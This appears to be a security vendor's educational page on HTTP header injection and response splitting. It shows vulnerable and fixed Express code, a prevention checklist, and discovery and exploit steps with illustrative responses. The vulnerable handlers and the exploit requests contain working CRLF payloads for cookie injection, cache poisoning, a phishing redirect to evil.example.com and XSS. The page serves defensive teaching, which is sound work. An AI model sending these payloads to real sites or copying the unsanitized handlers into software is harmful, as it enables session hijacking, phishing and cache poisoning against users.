HTTP Header Injection & Response Splitting
HTTP Header Injection & Response Splitting at a glance
Overview
HTTP header injection happens when an application constructs response headers using untrusted input that can include carriage return and line feed (CRLF) characters or other unexpected content. When headers are split, attackers can create new headers, manipulate cookies, craft malicious redirects, or poison caches. Response splitting is often a consequence of CRLF injection in headers like Location, Set-Cookie, or any custom header.
Where it occurs
Common sinks include Location for redirects, Set-Cookie or cookie APIs, custom diagnostic headers, and any API that reflects user input into headers. Problems appear in web frameworks that allow raw header values and in apps that use string concatenation to build header values without sanitation.
Impact
Exploitation can lead to session hijacking, cache poisoning (causing other users to see attacker-controlled content), open redirects used for phishing, and as a step towards more complex attacks like request smuggling and RCE via manipulated downstream behavior. The severity depends on the header sink and the behavior of reverse proxies and caches in front of the app.
Prevention
Validate or allow-list header values, and remove CR and LF characters before using user data in headers. Use framework provided helpers for redirects and cookie management. Apply length limits to any reflected header values and avoid echoing large free-text user inputs into headers. Test responses end-to-end through your CDN and proxy chain to ensure intermediaries do not reinterpret header-like payloads. Add automated checks that flag header values containing control characters.
Examples
Switch tabs to view language/framework variants.
Express, sets header from query param allowing CRLF injection and response splitting
Untrusted input is placed directly into a response header which can contain CRLF sequences and split the response.
app.get('/goto', (req, res) => {
const dest = req.query.dest; // attacker controlled
res.setHeader('X-Redirect-To', dest); // BUG: unsanitized header
res.send('ok');
});- Line 3: Header value taken directly from request and may contain CRLF
When header values include CRLF, attackers can inject new headers or manipulate response structure; some servers or intermediaries then treat injected headers as real, enabling cache poisoning, cookie injection, or response smuggling.
const safe = (s) => s.replace(/[\r\n]/g, '');
app.get('/goto', (req, res) => {
const dest = safe(req.query.dest || '');
// or better: validate against an allow list of hosts/paths
res.setHeader('X-Redirect-To', dest);
res.send('ok');
});- Line 1: Strip CRLF characters or validate against an allow list
Normalize header values by removing CRLF, validate against expected formats, or use framework helpers that disallow multi-line header values.
Engineer Checklist
-
Never place raw user input into header values; remove CR and LF and validate format
-
Use framework helpers for redirects and cookies which enforce safe header semantics
-
Apply length limits for reflected header values and avoid reflecting long free text
-
Test responses end-to-end through proxies and CDNs to detect intermediary reinterpretation
-
Scan code for uses of setHeader/setCookie/sendRedirect and ensure inputs are validated
-
Add CI checks that detect control characters in header values and fail builds
End-to-End Example
A marketing redirect helper sets a custom X-Redirect-To header from a query parameter. An attacker crafts a URL with an encoded CRLF and extra header lines. The CI deployed service reflects that header; a downstream cache stores the poisoned response and serves a Set-Cookie header to other users.
// Node.js/Express - Vulnerable header injection
// VULNERABLE: Custom redirect header from user input
app.get('/goto', (req, res) => {
const destination = req.query.dest;
// VULNERABLE: Sets header without sanitizing CRLF characters!
// Attacker sends: ?dest=ok%0d%0aSet-Cookie:%20malicious=value
// Result: Injects new headers like Set-Cookie
res.setHeader('X-Redirect-To', destination);
res.send(`<a href="${destination}">Continue</a>`);
});
// VULNERABLE: Tracking parameter in response header
app.get('/track', (req, res) => {
const trackingId = req.query.tid;
// VULNERABLE: Reflects tracking ID directly into header
// Attacker: ?tid=ABC%0d%0aX-XSS-Protection:%200
// Injects X-XSS-Protection: 0 to disable browser XSS protection
res.setHeader('X-Tracking-Id', trackingId);
res.json({ status: 'tracked' });
});
// VULNERABLE: Custom cookie setting
app.post('/preferences', (req, res) => {
const theme = req.body.theme;
const expires = req.body.expires || '3600';
// VULNERABLE: Building cookie header manually with user input!
// Attacker: theme="dark%0d%0aSet-Cookie:%20admin=true"
// Creates additional Set-Cookie header
const cookieValue = `theme=${theme}; Max-Age=${expires}; Path=/`;
res.setHeader('Set-Cookie', cookieValue);
res.json({ message: 'Preferences saved' });
});
// VULNERABLE: Custom redirect implementation
app.get('/external-redirect', (req, res) => {
const targetUrl = req.query.url;
// VULNERABLE: Setting Location header without validation
// Attacker: ?url=https://evil.com%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK
// Can cause response splitting and inject complete fake response
res.setHeader('Location', targetUrl);
res.status(302).send();
});
// VULNERABLE: Debug endpoint reflecting request metadata
app.get('/debug', (req, res) => {
const userAgent = req.get('User-Agent');
const referer = req.get('Referer');
// VULNERABLE: Echoing request headers into response headers
// If attacker controls these (via proxy or custom client):
// User-Agent: Mozilla%0d%0aSet-Cookie:%20backdoor=active
res.setHeader('X-Client-UA', userAgent);
res.setHeader('X-Referer', referer);
res.json({
message: 'Debug info in headers',
note: 'Check X-Client-UA and X-Referer response headers'
});
});
// VULNERABLE: CORS header from Origin
app.get('/api/data', (req, res) => {
const origin = req.get('Origin');
// VULNERABLE: Reflects Origin directly into CORS header
// Attacker: Origin: https://attacker.com%0d%0aX-Frame-Options:%20ALLOW
// Injects X-Frame-Options header to enable clickjacking
res.setHeader('Access-Control-Allow-Origin', origin);
res.json({ data: 'sensitive information' });
});// Node.js/Express - Secure header handling
// SECURE: Sanitization helper that removes CRLF
function sanitizeHeaderValue(value) {
if (!value) return '';
// Remove all CR, LF, and other control characters
return String(value).replace(/[\r\n\x00-\x1F\x7F]/g, '');
}
// SECURE: URL validation helper
function isValidRedirectUrl(url) {
try {
const parsed = new URL(url, 'https://app.example.com');
// Only allow same-origin redirects
return parsed.origin === 'https://app.example.com';
} catch {
return false;
}
}
// SECURE: Custom redirect header with sanitization
app.get('/goto', (req, res) => {
const destination = req.query.dest || '/';
// 1. Validate destination is safe URL
if (!isValidRedirectUrl(destination)) {
return res.status(400).json({ error: 'Invalid redirect destination' });
}
// 2. Sanitize value before setting header
const safeDest = sanitizeHeaderValue(destination);
// 3. Use framework's redirect instead of manual header
// Express automatically sanitizes and validates
res.redirect(safeDest);
});
// SECURE: Tracking with validation
app.get('/track', (req, res) => {
const trackingId = req.query.tid;
// Validate format - only allow alphanumeric and hyphens
if (!/^[a-zA-Z0-9-]{1,64}$/.test(trackingId)) {
return res.status(400).json({ error: 'Invalid tracking ID format' });
}
// Safe to use - validated against strict pattern
res.setHeader('X-Tracking-Id', trackingId);
res.json({ status: 'tracked' });
});
// SECURE: Use cookie API instead of manual header
app.post('/preferences', (req, res) => {
const theme = req.body.theme;
// Validate theme value against whitelist
const ALLOWED_THEMES = ['light', 'dark', 'auto'];
if (!ALLOWED_THEMES.includes(theme)) {
return res.status(400).json({ error: 'Invalid theme' });
}
// SECURE: Use res.cookie() API which properly escapes values
// Express handles encoding and prevents header injection
res.cookie('theme', theme, {
maxAge: 3600000, // 1 hour
httpOnly: true,
secure: true,
sameSite: 'strict',
path: '/'
});
res.json({ message: 'Preferences saved' });
});
// SECURE: Redirect with validation
app.get('/external-redirect', (req, res) => {
const targetUrl = req.query.url;
// Whitelist allowed redirect destinations
const ALLOWED_DOMAINS = new Set([
'app.example.com',
'www.example.com',
'docs.example.com'
]);
try {
const parsed = new URL(targetUrl);
// Validate protocol
if (!['http:', 'https:'].includes(parsed.protocol)) {
return res.status(400).json({ error: 'Invalid protocol' });
}
// Validate domain
if (!ALLOWED_DOMAINS.has(parsed.hostname)) {
return res.status(403).json({ error: 'Domain not allowed' });
}
// Use Express redirect which sanitizes Location header
res.redirect(302, parsed.href);
} catch (error) {
res.status(400).json({ error: 'Invalid URL' });
}
});
// SECURE: Debug endpoint with sanitization
app.get('/debug', (req, res) => {
const userAgent = req.get('User-Agent') || 'unknown';
const referer = req.get('Referer') || 'none';
// Sanitize before echoing into response headers
const safeUA = sanitizeHeaderValue(userAgent).substring(0, 200);
const safeReferer = sanitizeHeaderValue(referer).substring(0, 200);
res.setHeader('X-Client-UA', safeUA);
res.setHeader('X-Referer', safeReferer);
res.json({
message: 'Debug info in headers',
userAgent: safeUA,
referer: safeReferer
});
});
// SECURE: CORS with whitelist
const ALLOWED_ORIGINS = new Set([
'https://app.example.com',
'https://www.example.com',
'https://partner.example.com'
]);
app.get('/api/data', (req, res) => {
const origin = req.get('Origin');
// Only set CORS header for whitelisted origins
if (origin && ALLOWED_ORIGINS.has(origin)) {
// Safe: origin is from our whitelist, but still sanitize
res.setHeader('Access-Control-Allow-Origin', sanitizeHeaderValue(origin));
res.setHeader('Access-Control-Allow-Credentials', 'true');
}
res.json({ data: 'sensitive information' });
});
// SECURE: Middleware to validate all headers before sending
app.use((req, res, next) => {
const originalSetHeader = res.setHeader.bind(res);
res.setHeader = function(name, value) {
// Validate header value doesn't contain CRLF
const strValue = String(value);
if (/[\r\n]/.test(strValue)) {
console.error(`Blocked header injection attempt in ${name}: ${strValue}`);
throw new Error('Invalid header value');
}
return originalSetHeader(name, value);
};
next();
});Discovery
This vulnerability is discovered by injecting newline characters (\r\n) or header-related syntax into parameters that are reflected in HTTP response headers and observing whether additional headers can be injected or the response split into multiple responses.
-
1. Baseline header reflection test
httpAction
Send normal request to identify parameters that are reflected in response headers
Request
GET https://app.example.com/goto?dest=dashboardResponse
Status: 200Body:{ "note": "Parameter 'dest' is reflected in X-Redirect-To header - potential injection point" }Artifacts
http_response_headers -
2. CRLF injection probe
httpAction
Inject encoded CRLF sequences to test if header boundaries can be broken
Request
GET https://app.example.com/goto?dest=test%0d%0aX-Injected%3A+maliciousResponse
Status: 200Body:{ "raw_http_response": "HTTP/1.1 200 OK\r\nX-Redirect-To: test\r\nX-Injected: malicious\r\nContent-Type: text/html\r\n\r\n<html>...", "note": "CRLF injection successful! Injected arbitrary header 'X-Injected: malicious'" }Artifacts
http_response_headers raw_http_response -
3. Cookie injection test
httpAction
Attempt to inject Set-Cookie header via CRLF to verify session manipulation capability
Request
GET https://app.example.com/goto?dest=ok%0d%0aSet-Cookie%3A+malicious%3Dattacker_value%3B+Path%3D%2F%3B+HttpOnlyResponse
Status: 200Body:{ "browser_cookies_after": [ { "name": "malicious", "value": "attacker_value", "path": "/", "httpOnly": true } ], "note": "Successfully injected Set-Cookie header! Browser accepted and stored the malicious cookie" }Artifacts
http_response_headers browser_cookies -
4. Cache poisoning assessment
httpAction
Test if CDN or proxy caches the poisoned response by repeating request without injection
Request
GET https://app.example.com/goto?dest=okResponse
Status: 200Body:{ "note": "Cache poisoning confirmed! Clean request still returns previously injected Set-Cookie header from cache. All users now receive attacker's cookie!" }Artifacts
http_response_headers cache_control_headers
Exploit steps
An attacker exploits this by injecting malicious headers to set cookies, trigger XSS via injected Content-Type or Location headers, perform cache poisoning, or split HTTP responses to smuggle malicious content.
-
1. Inject session hijacking cookie
Inject Set-Cookie header via CRLF
httpAction
Craft request with CRLF injection to set a malicious session cookie in victim browsers
Request
GET https://app.example.com/goto?dest=ok%0d%0aSet-Cookie%3A+session_id%3Dattacker_session_abc123%3B+Path%3D%2F%3B+HttpOnly%3B+SecureResponse
Status: 200Body:{ "session_hijack_status": "successful", "victim_browser_state": { "cookies": [ { "name": "session_id", "value": "attacker_session_abc123", "note": "Victim now shares session with attacker" } ] }, "attacker_access": "Can now access victim's session by using same session_id cookie" }Artifacts
http_response_headers browser_cookies -
2. Poison CDN cache for multiple victims
Trigger cache storage of poisoned response
httpAction
Send injection payload to cacheable endpoint to poison shared cache affecting all users
Request
GET https://app.example.com/goto?dest=home%0d%0aSet-Cookie%3A+tracking%3Dmalicious_tracker%0d%0aX-XSS-Protection%3A+0Response
Status: 200Body:{ "cache_poisoning_impact": { "cached_at": "2024-01-15T10:00:00Z", "cache_duration": "3600 seconds", "estimated_victims": "~5000 users", "injected_headers": [ "Set-Cookie: tracking=malicious_tracker", "X-XSS-Protection: 0 (disables browser XSS protection)" ], "note": "CDN cached poisoned response for 1 hour - all users receive injected headers" } }Artifacts
http_response_headers cache_hit_header -
3. Inject Location header for open redirect
Override redirect destination
httpAction
Use CRLF to inject a Location header pointing to attacker-controlled domain for phishing
Request
GET https://app.example.com/goto?dest=ignored%0d%0aLocation%3A+https%3A%2F%2Fevil.example.com%2Fphishing%2FloginResponse
Status: 302Body:{ "browser_behavior": "Follows injected Location header to attacker's phishing site", "phishing_campaign": { "attacker_domain": "evil.example.com", "fake_login_page": "Mimics legitimate app.example.com", "credential_theft": "Captures usernames and passwords", "success_rate": "High - URL starts with legitimate domain app.example.com" }, "note": "Open redirect via CRLF injection enables credential phishing" }Artifacts
http_response_headers browser_navigation -
4. XSS via Content-Type manipulation
Inject Content-Type to enable script execution
httpAction
Use response splitting to inject HTML content and change Content-Type to text/html for XSS
Request
GET https://app.example.com/goto?dest=ok%0d%0aContent-Type%3A+text%2Fhtml%0d%0a%0d%0a%3Cscript%3Ealert%28%27XSS%20via%20CRLF%3A%20%27%2Bdocument.cookie%29%3C%2Fscript%3EResponse
Status: 200Body:{ "html_content": "<script>alert('XSS via CRLF: '+document.cookie)</script>", "browser_execution": { "javascript_executed": true, "cookies_accessible": true, "alert_displayed": "XSS via CRLF: session_id=user_session_xyz", "note": "Response splitting + Content-Type injection achieved XSS" }, "escalation_potential": "Can steal sessions, redirect to phishing, deface page, exfiltrate data" }Artifacts
http_response_headers browser_console_output
Specific Impact
An attacker injects a Set-Cookie header into responses which the victim browser accepts, giving the attacker a cookie that may be used to confuse session handling or track users. If a CDN caches the poisoned response, many users receive the malicious header, amplifying impact.
Remediation requires fixing the header sink, invalidating caches, rotating impacted session secrets, and reviewing logs to identify affected users and requests.
Fix
Remove CR and LF from any user supplied header content and validate values against expected formats or allow lists. Use framework helpers for redirects, set cookies using typed APIs, and verify behavior through your CDN and proxy chain. Invalidate caches if poisoning occurred.
Detect This Vulnerability in Your Code
Sourcery automatically identifies http header injection & response splitting vulnerabilities and many other security issues in your codebase.
Scan Your Code for Free